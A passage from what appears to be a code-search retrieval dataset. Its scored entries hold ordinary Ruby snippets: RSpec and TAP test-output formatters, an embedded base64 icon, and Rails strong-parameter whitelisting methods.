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\n '></span>\" \n end\n\n @output.puts \" <div class=\\\"failure\\\" id=\\\"failure_#{failure_id}\\\">\"\n if exception\n @output.puts \" <div class=\\\"message\\\"><pre>#{h(exception[:message])}</pre></div>\"\n if escape_backtrace\n @output.puts \" <div class=\\\"backtrace\\\"><pre>#{h exception[:backtrace]}</pre></div>\"\n else\n @output.puts \" <div class=\\\"backtrace\\\"><pre>#{exception[:backtrace]}</pre></div>\"\n end\n end\n @output.puts extra_content if extra_content\n @output.puts \" </div>\"\n @output.puts \" </dd>\"\nend",
"title": ""
},
{
"docid": "8aaa93c78bebd12087aa42a551cc81fa",
"score": "0.5799029",
"text": "def print_summary(features)\n print_steps(:pending)\n print_steps(:failed)\n print_snippets(@options)\n print_passing_wip(@options)\n end",
"title": ""
},
{
"docid": "71bd013512f43e06bbab1ac660c4f960",
"score": "0.5792196",
"text": "def info\n \"Title: #{@title}\\nDescription: #{@description}\\nDone: #{@done}\"\n end",
"title": ""
},
{
"docid": "59740ff870b2e9469d17b3c8272cd6e8",
"score": "0.57843804",
"text": "def sample_output\n\t\tputs \"\\nSample Output\"\n\t\t@statement_to_final_route.map{|k,v| puts v}\n\tend",
"title": ""
},
{
"docid": "8282b69c13ca948c38a9ea966b35c7e3",
"score": "0.57795686",
"text": "def example_pending(notification)\n @group_example_pending_count += 1\n @examples << Example.new(notification.example)\n end",
"title": ""
},
{
"docid": "e2dc00ffb0f395ad17c809ff42518b55",
"score": "0.5774867",
"text": "def test_info\r\n @cflow = \"< INFO, > 200\"\r\n @tflow = \"> INFO, < 200\"\r\n _run\r\n end",
"title": ""
},
{
"docid": "bc7d1d6a3f4684fd98291117edd60b53",
"score": "0.5765371",
"text": "def sample\n puts \"helloo world\"\n end",
"title": ""
},
{
"docid": "32c0ac7a2f9885664c47ef30c29651c4",
"score": "0.5763524",
"text": "def bailed_out_report_output\n @output.puts('TAP version 13')\n @output.puts('1..0')\n @output.puts('Bail out!')\n end",
"title": ""
},
{
"docid": "3718142288eaf1a6092702a31bdaf810",
"score": "0.57615274",
"text": "def test_announce_start_formatting\n nascent_miner = Prospector.new(1, @dummy_location, 0)\n assert_output \"Rubyist #1 starting in #{@dummy_location.name}.\\n\" do\n nascent_miner.announce_start\n end\n end",
"title": ""
},
{
"docid": "de31dfd2ca4f37479ee325877a9746b9",
"score": "0.57572377",
"text": "def example_group_finished(notification)\n previous_example_count = @example_count_stack.pop\n group_example_count = @example_count - previous_example_count\n @example_group_stack.pop\n\n @trace.emit_end('rspec describe',\n 'args' => {'example_count' => group_example_count})\n end",
"title": ""
},
{
"docid": "ad28bb0ad1a861a5f944645baf6b07d0",
"score": "0.57524866",
"text": "def format_example( example )\n\t\tmetadata = example.metadata\n\t\tduration = metadata[ :execution_result ][ :run_time ]\n\t\tdescription = metadata[ :description ]\n\t\treturn \"| %s (%0.3fs\" % [ description, duration ]\n\tend",
"title": ""
},
{
"docid": "afe1ab1893e45eecf177a9e8e5fec17d",
"score": "0.5748818",
"text": "def example_passed(name)\n end",
"title": ""
},
{
"docid": "443180241806aba6d900ba5d7fa2752a",
"score": "0.5741079",
"text": "def example_group_started(example_group)\n super\n\n desc = if rspec_2? && !ex_group_finished_event_supported?\n # temporary work around for rspec 2.0 < 2.0.0.beta22\n example_group.ancestors.reverse.inject('') { |name, group| \"#{name} #{group.description.strip}\" }\n else\n # rspec 1.x && >= 2.0.0.beta22\n example_group.description\n end\n my_add_example_group(desc, example_group)\n end",
"title": ""
},
{
"docid": "7c1e820712a6afd52e76e5f09230ea54",
"score": "0.57357556",
"text": "def showResults()\n\t\[email protected]() { |result|\n\t puts(\"[+] With the supplied indicators, #{result.figure} would have a #{result.projection}% chance of winning #{result.event}\");\n \t}\n\tend",
"title": ""
},
{
"docid": "419200f0615128b32124d1074c0e95bd",
"score": "0.5726047",
"text": "def success\n print \".\"\n end",
"title": ""
},
{
"docid": "0a753420978daa2c93546cb728c9e2f4",
"score": "0.57129216",
"text": "def register_example(title, &block)\n @register_examples << [title, block]\n run = Proc.new do\n puts\n puts @register_examples.length.to_s + \". \" + title + \" \" + \"-\"*(75-(title.length))\n puts\n handle_fiber_error { yield }\n puts\n puts \"OK/#{title}\"\n puts\n end\n\n if !defined?(RUN_ONLY) ||\n (RUN_ONLY.is_a?(Array) && RUN_ONLY.to_a.include?(@register_examples.length)) ||\n (RUN_ONLY.is_a?(Regexp) && title.match(RUN_ONLY))\n run.call\n end\nend",
"title": ""
},
{
"docid": "bfe8776d3427422fb1bb1d3bebd84b0e",
"score": "0.57068527",
"text": "def example_failed( example )\n\t\t@failure_index += 1\n\t\tmsg = self.format_example( example )\n\t\tmsg << \", FAILED - #%d)\" % [ @failure_index ]\n\t\tself.out msg\n\n\t\t@failures << example\n\tend",
"title": ""
},
{
"docid": "d4a59eab80e09f39c89fa7679504b402",
"score": "0.57064474",
"text": "def failure_output(description, example_number, padding)\n line = \"not ok #{example_number} - #{description}\"\n line = colored_line(\"#{indentation(padding)}#{line}\", :failure)\n\n @output.puts(line)\n end",
"title": ""
},
{
"docid": "0a6da6c82a14eae39a685a7ded05119a",
"score": "0.5696857",
"text": "def display(index = id)\n puts \"- #{index} [Done] #{content} (#{duration}h)\".colorize(:green) if done?\n puts \"- #{index} [inPro] #{content} (#{duration}h)\".colorize(:yellow) if in_progress?\n puts \"- #{index} [notStart] #{content} (#{duration}h)\".colorize(:red) if not_started?\n puts \"- #{index} [Pending] #{content} (#{duration}h)\".colorize(:cyan) if pending?\n end",
"title": ""
},
{
"docid": "116b24588679b6650e0305f2146a4a1d",
"score": "0.5696502",
"text": "def quiet_stdout\n around(:example) do |example|\n capture_stdout true\n example.run\n capture_stdout false\n end\nend",
"title": ""
},
{
"docid": "c0f1e2ce33b688df41b242fa63f8e5b4",
"score": "0.5688178",
"text": "def pre_output\n @did_tests_fail = tests_failed?\n end",
"title": ""
},
{
"docid": "4285345a78d7d5d4196f393f289c0b86",
"score": "0.56869453",
"text": "def tick(mark = PASS)\n @example_results << mark\n @current = (@current > @example_count) ? @example_count : @current + 1\n @title = \" #{current}/#{example_count}\"\n dump_progress\n end",
"title": ""
},
{
"docid": "60b9f16062b37363689bc43db344d842",
"score": "0.5685702",
"text": "def it desc=nil, &example\n @desc_template ||= []\n @desc_template << desc\n @example_shared_runner ||= []\n @example_shared_runner << example\n end",
"title": ""
},
{
"docid": "65eb28319888c92a612488bd183d55c2",
"score": "0.56839705",
"text": "def status io = self.output\n format = \"%d tests, %d assertions, %d failures, %d errors, %d skips\"\n io.puts format % [test_count, assertion_count, failures, errors, skips]\n end",
"title": ""
},
{
"docid": "2201ef3c29f3b8e7ae240f5a8804bc52",
"score": "0.56778985",
"text": "def summary_line(example_count, failure_count, pending_count)\n pending_count -= skipped_count\n summary = pluralize(example_count, \"example\")\n summary << \" (\"\n summary << red(pluralize(failure_count, \"failure\"))\n summary << \", \" << yellow(\"#{pending_count} pending\") if pending_count > 0\n summary << \", \" << cyan(\"#{skipped_count} skipped\") if skipped_count > 0\n summary << \")\"\n summary\n end",
"title": ""
},
{
"docid": "16ecb7dde1ab0fffeacb1afcb8988fd6",
"score": "0.56762177",
"text": "def notify_spec_result(result, options)\n specs = result['stats']['specs']\n failures = result['stats']['failures']\n time = result['stats']['time']\n specs_plural = specs == 1 ? '' : 's'\n failures_plural = failures == 1 ? '' : 's'\n\n Formatter.info(\"\\nFinished in #{ time } seconds\")\n\n message = \"#{ specs } spec#{ specs_plural }, #{ failures } failure#{ failures_plural }\"\n full_message = \"#{ message }\\nin #{ time } seconds\"\n passed = failures == 0\n\n if passed\n report_specdoc(result, passed, options)\n Formatter.success(message)\n Formatter.notify(full_message, :title => 'Jasmine suite passed') if options[:notification] && !options[:hide_success]\n else\n report_specdoc(result, passed, options)\n Formatter.error(message)\n notify_errors(result, options)\n Formatter.notify(full_message, :title => 'Jasmine suite failed', :image => :failed, :priority => 2) if options[:notification]\n end\n\n Formatter.info(\"Done.\\n\")\n end",
"title": ""
},
{
"docid": "3fa09c790aa733667de99d7600a82b30",
"score": "0.56751597",
"text": "def passed_output(example)\n super + cyan(\" : #{example.metadata[:execution_result][:run_time].round(3)}s\")\n end",
"title": ""
}
] |
c657de4b70d266e9a3a784b999ea9e60
|
Never trust parameters from the scary internet, only allow the white list through.
|
[
{
"docid": "b8ff362ae5c191d8a92adec7f07bba42",
"score": "0.0",
"text": "def targeted_muscle_params\n params.require(:targeted_muscle).permit(:exercise_id, :muscle_id, :primary)\n end",
"title": ""
}
] |
[
{
"docid": "3663f9efd3f3bbf73f4830949ab0522b",
"score": "0.7495027",
"text": "def whitelisted_params\n super\n end",
"title": ""
},
{
"docid": "13a61145b00345517e33319a34f7d385",
"score": "0.69566035",
"text": "def strong_params\n params.require(:request).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "c72da3a0192ce226285be9c2a583d24a",
"score": "0.69225836",
"text": "def strong_params\n params.require(:post).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "3d346c1d1b79565bee6df41a22a6f28d",
"score": "0.68929327",
"text": "def strong_params\n params.require(:resource).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "aa06a193f057b6be7c0713a5bd30d5fb",
"score": "0.67848456",
"text": "def strong_params\n params.require(:listing).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "f6060519cb0c56a439976f0c978690db",
"score": "0.674347",
"text": "def permitted_params\n params.permit!\n end",
"title": ""
},
{
"docid": "fad8fcf4e70bf3589fbcbd40db4df5e2",
"score": "0.6682223",
"text": "def allowed_params\n # Only this one attribute will be allowed, no hacking\n params.require(:user).permit(:username)\n end",
"title": ""
},
{
"docid": "b453d9a67af21a3c28a62e1848094a41",
"score": "0.6636527",
"text": "def strong_params\n params.require(:kpi).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "2c8e2be272a55477bfc4c0dfc6baa7a7",
"score": "0.66291976",
"text": "def strong_params\n params.require(:community_member).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "1685d76d665d2c26af736aa987ac8b51",
"score": "0.66258276",
"text": "def permitted_params\n params.permit!\n end",
"title": ""
},
{
"docid": "77f5795d1b9e0d0cbd4ea67d02b5ab7f",
"score": "0.65625846",
"text": "def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"title": ""
},
{
"docid": "cc1542a4be8f3ca5dc359c2eb3fb7d18",
"score": "0.6491194",
"text": "def strong_params\n params.require(:message).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "e291b3969196368dd4f7080a354ebb08",
"score": "0.6477825",
"text": "def permitir_parametros\n \t\tparams.permit!\n \tend",
"title": ""
},
{
"docid": "2d2af8e22689ac0c0408bf4cb340d8c8",
"score": "0.64526874",
"text": "def allowed_params\n params.require(:user).permit(:name, :email)\n end",
"title": ""
},
{
"docid": "236e1766ee20eef4883ed724b83e4176",
"score": "0.64001405",
"text": "def param_whitelist\n [\n :name,\n :tagline, :contact, :summary, :stage,\n :website, :facebook, :twitter, :linkedin, :github,\n :founded_at,\n community_ids: [],\n sectors: [\n :commercial,\n :social,\n :research\n ],\n privacy: [\n contact: [],\n kpis: []\n ],\n permission: [\n listings: [],\n profile: [],\n posts: [],\n kpis: []\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"title": ""
},
{
"docid": "b29cf4bc4a27d4b199de5b6034f9f8a0",
"score": "0.63810205",
"text": "def safe_params\n params\n .require( self.class.model_class.name.underscore.to_sym )\n .permit( self.class.params_list )\n end",
"title": ""
},
{
"docid": "bfb292096090145a067e31d8fef10853",
"score": "0.63634825",
"text": "def param_whitelist\n whitelist = [\n :title, :description, :skills,\n :positions, :category, :salary_period,\n :started_at, :finished_at,\n :deadline,\n :salary_min, :salary_max, :hours,\n :equity_min, :equity_max,\n :privacy,\n :owner_id, :owner_type,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:owner_id)\n whitelist.delete(:owner_type)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "6bf3ed161b62498559a064aea569250a",
"score": "0.633783",
"text": "def require_params\n return nil\n end",
"title": ""
},
{
"docid": "b4c9587164188c64f14b71403f80ca7c",
"score": "0.6336759",
"text": "def sanitize_params!\n request.sanitize_params!\n end",
"title": ""
},
{
"docid": "b63e6e97815a8745ab85cd8f7dd5b4fb",
"score": "0.6325718",
"text": "def excluded_from_filter_parameters; end",
"title": ""
},
{
"docid": "38bec0546a7e4cbf4c337edbee67d769",
"score": "0.631947",
"text": "def user_params\n # Returns a sanitized hash of the params with nothing extra\n params.permit(:name, :email, :img_url, :password)\n end",
"title": ""
},
{
"docid": "37d1c971f6495de3cdd63a3ef049674e",
"score": "0.63146484",
"text": "def param_whitelist\n whitelist = [\n :name,\n :overview,\n :website, :facebook, :twitter,\n :privacy,\n :avatar_id, :community_id, :category_ids,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:community_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "5ec018b4a193bf3bf8902c9419279607",
"score": "0.63137317",
"text": "def user_params # contains strong parameters\n params.require(:user).permit(:name, :email, :password,\n :password_confirmation)\n # strong parameters disallows any post information that is not permitted (admin security) when signing_up\n # so not all users will get admin access by hacking params using curl\n end",
"title": ""
},
{
"docid": "91bfe6d464d263aa01e776f24583d1d9",
"score": "0.6306224",
"text": "def permitir_parametros\n params.permit!\n end",
"title": ""
},
{
"docid": "e012d7306b402a37012f98bfd4ffdb10",
"score": "0.6301168",
"text": "def strong_params\n params.require(:team).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "157e773497f78353899720ad034a906a",
"score": "0.63000035",
"text": "def white_list_params\n params.require(:white_list).permit(:ip, :comment)\n end",
"title": ""
},
{
"docid": "8c384af787342792f0efc7911c3b2469",
"score": "0.629581",
"text": "def whitelisted_vegetable_params\n params.require(:vegetable).permit(:name, :color, :rating, :latin_name)\n end",
"title": ""
},
{
"docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c",
"score": "0.62926817",
"text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end",
"title": ""
},
{
"docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c",
"score": "0.62926817",
"text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end",
"title": ""
},
{
"docid": "9b76b3149ac8b2743f041d1af6b768b5",
"score": "0.6280713",
"text": "def filter_params\n params.permit(\n\t\t\t\t:name,\n\t\t\t\t:sitedefault,\n\t\t\t\t:opinions,\n\t\t\t\t:contested,\n\t\t\t\t:uncontested,\n\t\t\t\t:initiators,\n\t\t\t\t:comments,\n\t\t\t\t:following,\n\t\t\t\t:bookmarks,\n\t\t\t\t:lone_wolf,\n\t\t\t\t:level_zero,\n\t\t\t\t:level_nonzero,\n\t\t\t\t:private,\n\t\t\t\t:public_viewing,\n\t\t\t\t:public_comments,\n\t\t\t\t:has_parent,\n\t\t\t\t:has_no_parent,\n\t\t\t\t:today,\n\t\t\t\t:last_week,\n\t\t\t\t:last_month,\n\t\t\t\t:last_year,\n\t\t\t\t:sort_by_created_at,\n\t\t\t\t:sort_by_updated_at,\n\t\t\t\t:sort_by_views,\n\t\t\t\t:sort_by_votes,\n\t\t\t\t:sort_by_scores,\n\t\t\t\t:who_id)\n end",
"title": ""
},
{
"docid": "603f4a45e5efa778afca5372ae8a96dc",
"score": "0.6271388",
"text": "def param_whitelist\n [:role]\n end",
"title": ""
},
{
"docid": "f6399952b4623e5a23ce75ef1bf2af5a",
"score": "0.6266194",
"text": "def allowed_params\n\t\tparams.require(:password).permit(:pass)\n\tend",
"title": ""
},
{
"docid": "37c5d0a9ebc5049d7333af81696608a0",
"score": "0.6256044",
